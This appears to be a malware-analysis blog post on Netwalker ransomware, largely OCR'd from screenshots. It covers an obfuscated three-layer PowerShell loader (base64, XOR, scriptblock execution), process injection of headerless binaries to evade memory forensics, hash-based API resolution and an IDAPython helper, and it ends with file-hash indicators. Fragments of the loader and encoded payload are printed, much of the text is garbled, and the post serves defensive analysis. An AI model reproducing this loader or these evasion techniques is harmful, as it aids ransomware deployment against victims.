# Netwalker Ransomware: [API Call Obfuscation (using Structure) and Evading Memory Forensic]

E tccontre.blogspot.com/2020/05/netwalker-ransomware-api-call.html

QSMHb) www.exell.DM48190.Web Drawet w DB4YmM5MHbmXtwedy0LDB421gSMHboXtweGJDLDB4R3QSMHbmXtweGU4LDB473QSMHb1YywveEY0LDB471gSMHbhCoweG V0LDB4 195 w 4 WishNhb CwweEY0LDB421gSMHbmXtweGJLDB423gSMHbrXyweEV4LDB423QSMHb1SweEU4LDB423QSMHbCQywveGY0LDB4YTISNHb1OCwveEY0LDB4XB B4QmM5MHbmXtweGJ LDB4R1gSMHbmXtweEJDLDB423JSMHbMStweGU4LDB423QSMHb1YywveEY4LDB427QSHHbCQywveGY0LDB42B4QmM5NHbmMywveGYvLDB4R7gSMHbmXtweEY3LD B4QmM5MHbmXtweGJ LDB4R3gSMHbmXtweEJDLDB423JSMHbMStweGU4LDB423QSMHb1YywveEY9LDB4YTISNHbFOCwveGY0LDB4QmM5NHbmMywveGYvLDB4R7gSMHbmXtweEY3LD B4QmM5MHbmXtweGJ LDB4R3QSMHbMXtweEJDLDB423JSMHbMStweGU4LDB423QSMHb1YywveGYVLDB427JSMHbmXtweEY0LDB42TgSMHbmXtweEY0LDB427gSMHbmXtweEY3LDB487 gSMHbGNXtweGJ LDB4R3QSMHbACtweEJ0LDB423QSMHb1CYywveGY0LDB423QSMHb1YywveGY0LDB423CSMHbFOCwveGY0LDB42TgSNHbfMCtwreEJ0LDB473QSMHbACtwreEJ0LDB473QSMHb bmXtcwreGU4LDB473QSMHbACtwreEJ0LDB473QSMHbFOCtwreEY0LDB474TgSMHbmXtwreGJ3LDB473QSMHbACtwreEJ0LDB473QSMHbACtwreEJ0LDB473QSMHb B423QSMHb1YywweGY0LDB423QSMHbFOCtwreEY0LDB44TgSMHbmXtwreGJ3DLB473QSMHbACtwreGJ0LDB473QSMHbACtwreGJ0LDB473QSMHbACtwreGJ0LDB473QSMHbACtwreEY0LDB4712SMHbmXtwreEY0LDB4712SMHbmXtwreEY0LDB4712SMHbmXtwreEY0LDB4712SMHbhACtwreEJ1LDB473QSMHbACtwreGJ0LDB473QSMHbACtwreGJ0LDB473QSMHbACtwreGJ0LDB473QSMHbACtwreGJ0LDB473QSMHbACtwreGY0LDB473QSMHbACtwreGY0LDB473QSMHbACtwreGY0LDB4712SMHbhACtwreEY0LDB4712SMHbhACtwreEJ3LDB473QSMHbACtwreGJ1LDB473QSMHbACtwreGJ0LDB4
[bYte[]] \$LAORzVzZRbxgsqKzTNGP = @(0xE4,0xE4,0xE4,0xE4,0x9F,0xa6,0xBD,0xb0,0xA1,0x9f,0x99,0x99,0xe4,0xe4,0xE4,0xE4,0xE4,0xE0,0xBe,0x8F,0xB1,0x95,0xE4,0xe4,
for (\$xLoB = 0;\$x10B -1t \$LAORZVZZRBxGSgKzTNgp.LEnGth; \$x1oB++)
{     sLAORZVZZRbxGsQKZTNgp[\$xLOB] - \$LAORZVZZRbxgSqKZTnGP[\$xLOB]-BxoR 0xc4     Layer 2
<pre>\$jDEfXCPKjSUIsU= [SyStem.Text.ENCoding]::ASCII.GETSTrING(\$LAoRzVZZRbxgsQKzTNGp )</pre>
<pre>\$AePWZq =[ScriPTbLOck]::CreATe( \$jDEFXCpKjSUISu )</pre>
InVokE-COmmand -SCRIpTBlocK\$AePwZQ

Today I just want to share some interesting obfuscation and anti memory forensic techniques I've learned from Netwalker Ransomware that makes its code more time consuming and hard to analyze. This also include the first part which is a obfuscated powershell that will serve as the loader of the malware.

# Stage 1: Obfuscated Powershell:

This netwalker ransomware variant start with 3 stages as follows:

1st Layer : base 64 encoded powershell

2nd Layer: (after decoding the base64) is an encrypted array of bytes using xor command with decryption key of 0xc4, that will be run in scriptblock command.

3rd Layer : (after the decrypted 2nd layer) is a 2 sets of hex bytes array which is the x86 and 64 version of Netwalker binary files that will be injected in a process by a C# code that will be loaded and compile using powershell.

INVoKE-ExPREssion -COMMaND \$([strINg]([SyStem.TEXT.EncOdING]::ASCII.GETStRing([SysTEM.ConVErt]::FROMBasE64STrING("ICAgICAgW20ZdGVbXW
hmNCwweEJjLDB4QTAsMHhhMSwweEU4LDB4RjQsMHhiQywweEZELDB4RjQsMHhFOCwweGY0LDB4QmMsMHhGNCwweGY0LDB4ZTgsNHhmNCwweEJDLDB4ZjQsNHhmNywweGU4LD B4YTYsNHhGYywweEU4LDB4ZjQsNHhCYywweGY0LDB4ZjQsMHhIOCwweGY0LDB4QmMsMHhGNCwweEY0LDB4ZTgsNHhGNCwweGJDLDB4RjQsNHhiYy
wweEU4LD84RjQsMHhCYywweGY0LD84RjQsMHhIOCwweGY0LD84QkMsMHhGNCwweGY0LD84ZTgsMHhGNCwweEJjLD84ZjQsMHhGNCwweEU4LD84RjQsMHhCYywweGY0LD84Qj
QsMHhi wwweY9LDR4Bi0sMHh10sweE DB4YmMsMHhmNCwweGY0LDB4ZTgsMHhGNCwweGJDLDB4RjQsMHhmNCwweGU4LDB4RjQsMHhiYywweEY0LDB4RjQsMHhFOCwweG Y0LDB4 jQsma y s a folsMHhr CwweEY0LDB4ZTgsMHhmNCwweGJLDB4ZjQsMHhMSwweEU4LDB4ZjQsMHhCQywreGY1LDB4YTIsMHh10CwweEY0LDB4ZTgsMHhmNCwweGJ
hlocw, 🔤 😥 🕺 🖊 🥨 👷 hlo <sup>py</sup> EysMhhmNcweEjjLDB4RjIsMhhmYyweEU4LDB4ZjQsMhhCYyweEYyLDB4ZkQsMhhlOCweGY8LDB4QkMsMhhmMyweEY3LD
B4QmMsMHhmMiwweGy_LDB4RTgsMHhmNCwweEJDLDB4ZjISMHhhMSwweGU4LDB4ZjQsMHhiYywweEYyLDB4YTISMHhFOCwweGY0LDB4QmMsMHhmMywweGYwLDB4RTgsMHhGNCwweEJDLDB4ZjASMHhBMiwweEU4LDB4RjQsMHhiYywweGYxLDB4ZjcsMHhFOCwweGY0LDB4YmMsMHhmNiwweEY0LDB4RTgsMHhGMCwweEJJLDB4Rj
gsMHhGNCwweGJjLD84RjQsMHhGNCwweEU4LD84ZjQsMHhCYywweGY0LD84ZjQsMHh1OCwweEY0LD84QkMsMHhmNCwweEY0LD84ZTgsMHhGNCwweEU4LD84RjQsMHhGNCwweEU4LD84RjQsMHhGNCwweEU4LD84RjQsMH
hmNCwweGU4LDB4ZjQsMHhCYywweÉY0LDB4RjQsMHhFOCwweÉY0LDB4YmMsMHhmNCwweEY0LDB4RTgsMHhmNCwweGJjLDB4ZjQsMHhGNCwweGU4LDB4RjQsMHhiYywweĞY0LD
B4ZjQsMHhiYywweGY0LDB4ZjQsMHh10CwweEY0LDB4QmMsMHhmNCwweGY0LDB4ZTgsMHhGNCwweGJDLDB4ZjQsMHhmNCwweEU4LDB4ZjQsMHh1QywweGY0LDB4RjQsMHhFOC wweGYwLDB4RjEsMHh10C <u>wweGY0LD</u> B4QkMsMHhGNCwweEY0LDB4RTgsMHhmNCwweGJDLDB4RjQsMHhmNCwweEU4LDB4RjQsMHhCYywweGYwLDB4YTcsMHh1OCwweEY0LDB4Yk
QsMHhlOCwweEY0LD84YmMsMHhGNCwweEY0LD84RTgsMHhmNCwweEJjLD84ZjQsMHhGNCwweGU4LD84ZjQsMHhCYywweGY0LD84RjQsNHhlOCwweGY0LD84YmMsMHhBMSwweE Y0LD84QmMsMHhmNCwweEY0LD84ZTgsMHhmNCwweGJDLD84ZjYsMHhmMCwweEU4LD84ZjQsMHhCQywweEY0LD84RjQsNHhlOCwweGY0LD84YmMsNHhGNCwweGY0LD84ZTgsMH
[bYte[]] \$LAORzVzZRbxgsqKzTNGP =
<pre>@ (0xE4,0xE4,0xE4,0xE4,0xE4,0x8F,0x86,0xBD,0xb0,0xA1,0x9f,0x99,0x99,0xe4,0xE4,0xE4,0xE4,0xE4,0xE4,0xB1,0x8F,0xB1,0x95,0xE4,0xe4,0xe4,0xE4,0xE4,0xE4,0xE4,0xE4,0xE4,0xE4,0xE</pre>
<pre>for (\$xLoB = 0;\$x10B -1t \$LAoRzVzZRBxGSqKzTNgp.LEnGth; \$x1oB++)</pre>
\$LAORZVZZRbxGsQKZTNgp[\$xLOB] - \$LAORZVZZRbxgSgKZTnGP[\$xLOB]-BxoR 0xc4
\$LAORZVZZRbxGsQKZTNgp[\$xLOB] - \$LAORZVZZRbxgSqKZTnGP[\$xLOB]-BxoR 0xc4
<pre>\$jDEfXCPKjSUIsU= [SyStem.Text.ENCoding]::ASCII.GETSTrING(\$LAoRzVZZRbxgsQKzTNGp )</pre>
<pre>\$AePWZq =[ScriPTbLOck]::CreATe( \$jDEFXCpKjSUISu )</pre>
InVokE-COmmand -SCRIpTBlocK\$AePwZQ
[byte[]] \$zkuy - X86 Netwalker ransomware
[byte[]] \$zKub - X86 Netwalker ransomware @ (0xad, 0xde, 0x90, 0x00, 0x0
[byte[]] \$zKub - X86 Netwalker ransomware @ (0xad, 0xde, 0x90, 0x00, 0x0
[byte[]] \$zkuy - X86 Netwalker ransomware
[byte[]] \$zKub - X86 Netwalker ransomware @ (0xad, 0xde, 0x90, 0x00, 0x0
[byte[]] \$zKng - X86 Netwalker ransomware (oxad, 0xde, 0x90, 0x00, 0x03, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00
[byte[]] \$zKng - X86 Netwalker ransomware (oxad, 0xde, 0x90, 0x00, 0x03, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00
[byte[]] \$zKng - X86 Netwalker ransomware (oxad, 0xde, 0x90, 0x00, 0x03, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00
[byte[]] \$zKv2 - X86 Netwalker ransomware @ (0xad, 0xde, 0x90, 0x00, 0x03, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0f, 0xff, 0xff, 0x00, 0x
[byte[]] \$zKv2 - X86 Netwalker ransomware @ (0xad, 0xde, 0x90, 0x00, 0x03, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0f, 0xff, 0xff, 0x00, 0x
[byte[]]         \$zRdy -         X86 Netwalker ransomware           @ (0xad, 0xde, 0x90, 0x00,
[byte[]]       \$zkw       -       X86 Netwalker ransomware         @{0xad,0xde,0x90,0x00,0x03,0x00,0x00,0x04,0x00,0x00,0x0
[byte[]]       \$zRdy -       X86 Netwalker ransomware         @ (0xad, 0xde, 0x90, 0x00, 0x00
[byte[]]       \$zkw       -       X86 Netwalker ransomware         @{0xad,0xde,0x90,0x00,0x03,0x00,0x00,0x04,0x00,0x00,0x0

figure 1: the 3 layered powershell script




figure 2: the C# loader written in powershell using Add-Type

# Stage 2: No MZ Header Binaries

as far as we saw in the last stage of the powershell, it will inject the ransomware (x86 or x64 binaries) to the explorer.exe process. The interesting part is after I decode those hex byte array, I notice that there are no MZ header to the binary file that are one technique to evade memory forensic tools or some quick check for injected executable to a process.

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00000030:	00	00	00	00-00	00	00	00-00	00	00	00-B8	00	00	00	1
00000040:	0E	<b>1</b> F	BA	0E-00	Β4	09	CD-21	B8	01	4C-CD	21	54	68	<i>∄</i> ▼ <i>∄</i> - o=!∃⊜L=!Th
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00000060:	74	20	62	65-20	72	75	6E-20	69	6E	20-44	4F	53	20	t be run in DOS
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00000040:	0E	1F	ΒA	0E-00	Β4	09	CD-21	B8	01	4C-CD	21	54	68	<i>∄</i> ▼∥ <i>∄</i> - o=! <sub>∃</sub> @L=!Th
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figure 3: NO MZ Header Files

# Stage 3: Obfuscated API Call Using Structure

This Netwalker Ransomware has no import table. It will dynamically harvest its needed API using some hashing algorithm search to all export table of all needed DLL modules to executes its malicious code then save it to a structure object. Below is the screenshot how the raw Hexray view of the import harvesting before and after resolving the API hash and the structure Array using Idapython.

<pre>v0 = sub 10001010(-2067767744);</pre>
v1 = v0;
if ( !v0 )
return dword 1000E1C8;
<pre>v2 = (int (stdcall *)(int, int, int))sub_10001060(v0, 0xA1D45974);</pre>
if ( !v2 )
return dword 1000E1C8:
<pre>v3 = sub 10004600(8, 648);</pre>
dword 1000E1CC = v2(v3, v14, v15);
if ( !dword_1000E1CC )
return dword 1000E1C8;
<pre>*( DWORD *)dword 1000E1CC = sub 10001060(v1, 0xA1D45974);</pre>
*(_DWORD *)(dword_1000E1CC + 4) = sub_10001060(v1, 0xAF11BC24);
*(_DWORD *)(dword_1000E1CC + 8) = sub_10001060(v1, 0xB973B8DC);
*(_DWORD *)(dword_1000E1CC + 12) = sub_10001060(v1, 0x8463960A);
*(_DWORD *)(dword_1000E1CC + 16) = sub_10001060(v1, 0xD141AFD3);
<pre>"(_DWORD ")(dword_1000E1CC + 20) = sub_10001060(v1, 0x57F17B6B);</pre>
<pre>*(_DWORD *)(dword_1000E1CC + 24) = sub_10001060(v1, 0x23398D9A);</pre>
<pre>*(_DWORD *)(dword_1000E1CC + 36) = sub_10001060(v1, 0xBD6735C3);</pre>
<pre>*(_DWORD *)(dword_1000E1CC + 40) = sub_10001060(v1, 0x900F6A6E);</pre>
<pre>*(_DWORD *)(dword_1000E1CC + 28) = sub_10001060(v1, 0xA8AE7412);</pre>
<pre>*(_DWORD *)(dword_1000E1CC + 32) = sub_10001060(v1, 0x4896A43);</pre>
<pre>*(_DWORD *)(dword_1000E1CC + 44) = sub_10001060(v1, 0x4C8A5B22);</pre>
<pre>*(_DWORD *)(dword_1000E1CC + 48) = sub_10001060(v1, 0x61E2048F);</pre>
<pre>"(_DWORD ")(dword_1000E1CC + 52) = sub_10001060(v1, 0x52FF8A3F);</pre>
<pre>*(_DWORD *)(dword_1000E1CC + 56) = sub_10001060(v1, 0xA312E4DE);</pre>
<pre>*(_DWORD *)(dword_1000E1CC + 60) = sub_10001060(v1, 0xCA3A8F9A);</pre>
<pre>*(_DWORD *)(dword_1000E1CC + 64) = sub_10001060(v1, 0x958F47AF);</pre>
<pre>*(_DWORD *)(dword_1000E1CC + 68) = sub_10001060(v1, 0x9AB4737E);</pre>
<pre>*(_DWORD *)(dword_1000E1CC + 72) = sub_10001060(v1, 0x7EF4BAE5);</pre>
*(_DWORD *)(dword_1000E1CC + 76) = sub_10001060(v1, 0x4A5A980C);
<pre>*(_DWORD *)(dword_1000E1CC + 80) = sub_10001060(v1, 0x7AA7B69B);</pre>

<pre>v0 = func_ResolveDllModuleName(0x84C05E40);</pre>
ntdll_ = v0;
if (!v0)
return dword 1000E1C8;
<pre>v2 = (int (stdcall *)(void *, int, int))func_parse_export_table(v0, ntdll_RtlAllocateHeap_HASH);</pre>
if (1v2)
return dword 1000E1C8:
$v_3 = sub 10004600();$
dwApImportStruct 1000E1CC = (DWORD *)v2(v3, 8, 0x288);
if (  dwApImportStruct 1000EICC )
return dword 1000E1C8;
<pre>*dwApImportStruct 1000E1CC = func_parse_export_table(ntdll , -1579918988);</pre>
dwApImportStruct_1000E1CC[1] = func_parse_export_table(ntdll_, ntdll_RtlFreeHeap_HASH);
dwApImportStruct 1000EICC[2] = func parse export table(ntdll , ntdll RtlReAllocateHeap HASH);
<pre>dwApImportStruct 1000E1CC[3] = func parse export table(ntdll , ntdll memset HASH);</pre>
<pre>dwApImportStruct 1000E1CC[4] = func parse export table(ntdll, ntdll memcpy HASH);</pre>
dwApImportStruct 1000E1CC[5] = func parse export table(ntdll, ntdll memcmp HASH);
dwApImportStruct 1000EICC[6] = func parse export table(ntdll , ntdll sprintf HASH);
dwApImportStruct 1000E1CC[9] = func parse export table(ntdll, ntdll strcpy HASH);
dwApImportStruct 1000E1CC[0xA] = func parse export table(ntdll , ntdll strcat HASH);
<pre>dwApImportStruct_1000E1CC[7] = func_parse_export_table(ntdll_, ntdll_strchr_HASH);</pre>
dwApImportStruct 1000EICC[8] = func parse export table(ntdll , ntdll strtol HASH);
dwApImportStruct 1000EICC[0x8] = func_parse export table(ntdll , ntdll wcscpy HASH);
<pre>dwApImportStruct 1000E1CC[0xC] = func parse export table(ntdll, ntdll wcscat HASH);</pre>
<pre>dwApImportStruct 1000E1CC[0xD] = func parse export table(ntdll, ntdll strstr HASH);</pre>
dwApImportStruct 1000EICC[0xE] = func parse export table(ntdll, ntdll wcsstr HASH);
<pre>dwApImportStruct 1000E1CC[0xF] = func parse export table(ntdll, ntdll wcscmp HASH);</pre>
dwApImportStruct 1000E1CC[0x10] = func parse export table(ntdll, ntdll wcsncmp HASH);
dwApImportStruct 1000E1CC[0x11] = func parse export table(ntdll, ntdll RtlRandomEx HASH);
dwApImportStruct 1000E1CC[0x12] = func parse export table(ntdll, ntdll RtlRandom HASH);
dwApImportStruct 1000EICC[0x13] = func parse export table(ntdll, ntdll RtlInitAnsiString HASH);
dwApImportStruct_1000E1CC[0x14] = func_parse_export_table(ntdll_, ntdll_RtlInitUnicodeString_HASH);
dwApImportStruct_1000E1CC[0x15] = func_parse_export_table(ntdll_, ntdll_RtlAnsiStringToUnicodeString_HASH);
dwApImportStruct_1000E1CC[0x16] = func_parse_export_table(ntdll_, ntdll_RtlUnicodeStringToAnsiString_HASH);
dwApImportStruct 1000E1CC[0x17] = func parse export table(ntdll, ntdll RtlFreeUnicodeString HASH);
dwApImportStruct 1000E1CC[0x18] = func parse export table(ntdll, ntdll RtlFreeAnsiString HASH);

figure 4: API harvesting Function

The Hashing Algorithm is really looks complicated base on its graph but actually it is just a loop of xor and rotate bit operation with specific keys.




figure 5: Hashing algorithm

But the Obfuscation does not ends here. As we remember that it place the resolved API address into a structure object. Then this structure was initialized to a another variable by a function then do the access the member of the structure out of that which make the analysis more confusing.



figure 6: Declare multiple Structure as a obfuscation

Thanks for IDA Python for helping me in creating a structure out of harvested API it needs to make the static analysis more easily.

```
def create_struct_sid():
    sid = idc.add_struc(-1, "ApiHashStructList", 0)
    return sid
def main():
    sid = create_struct_sid()
    for api_name in api_member.api_member:
        try:
            idc.add_struc_member(sid, str(api_name), -1, FF_DATA|FF_DWORD, 0, 4)
            print("[+] status: (} added to ApiHashStructList".format(api_name))
        except:
            print (sys.exc_info())
    return
```

api_member = [
"ntdll RtlAllocateHeap HASH",
"ntdll RtlFreeHeap HASH",
"ntdll RtlReAllocateHeap HASH",
"ntdll_memset_HASH",
"ntdll_memcpy_HASH",
"ntdll_memcmp_HASH",
"ntdll_sprintf_HASH",
"ntdll_strchr_HASH",
"ntdll_strtol_HASH",
"ntdll_strcpy_HASH",
"ntdll_strcat_HASH",
"ntdll_wcscpy_HASH",
"ntdll_wcscat_HASH",
"ntdll_strstr_HASH",
"ntdll_wcsstr_HASH",
"ntdll_wcscmp_HASH",
"ntdll_wcsncmp_HASH",
"ntdll_RtlRandomEx_HASH",
"ntdll_RtlRandom_HASH",
"ntdll_RtlInitAnsiString_HASH",
"ntdll_RtlInitUnicodeString_HASH",
"ntdll_RtlAnsiStringToUnicodeString_HASH",
"ntdll_RtlUnicodeStringToAnsiString_HASH",
"ntdll_RtlFreeUnicodeString_HASH",
"ntdll_RtlFreeAnsiString_HASH",
"ntdll_LdrLoadDll_HASH",
"ntdll_RtlAdjustPrivilege_HASH",
"ntdll_NtQuerySystemInformation_HASH",
"ntdll_NtOpenProcess_HASH",

figure 7: Add Structure

#### Lesson Learn:

I learned that the there are so many way to obfuscate code from analysis and even the data structure can be used to make the analysis little bit confusing during analysis like what I experience. :)

### IOC:

https://app.any.run/tasks/6bb00be0-cd0a-4d9a-a1ea-72cd275ded0e/

#### Powershell:

filename: powershell.ps1 md5: 5bec43ea21e95a68abafa8c7f99d1e6c sha1: 22df933f2b33f3f4ffee22b51b4f8fa0268bb327 sha256: b7c7fa9b74aacf331871a9e5438678bce46002618fa106429225161d94e22e44

#### x64 Netwalker Ransomware:

filename: x64.bin md5: bc96c744bd66ddfaa79d467b757b8628 sha1: a379f9e04708d773a2dec897166780b026f4c4ea sha256: 2c245db9fb9b2c6e84832662dda3dfff3c6b21128d9fec115f5b989fb090841d

#### x86 Netwalker Ransomware:

filename: x86\_raw.bin md5: de61b852cadac6afe307652b187ca5df sha1: fa02c1d394bc150d8a62d3f991d0fdc042ee9724 sha256: e8c5c0b70d45a5dc80d678ed7102abf9882efb9cbc2cff20f171d60d5205051d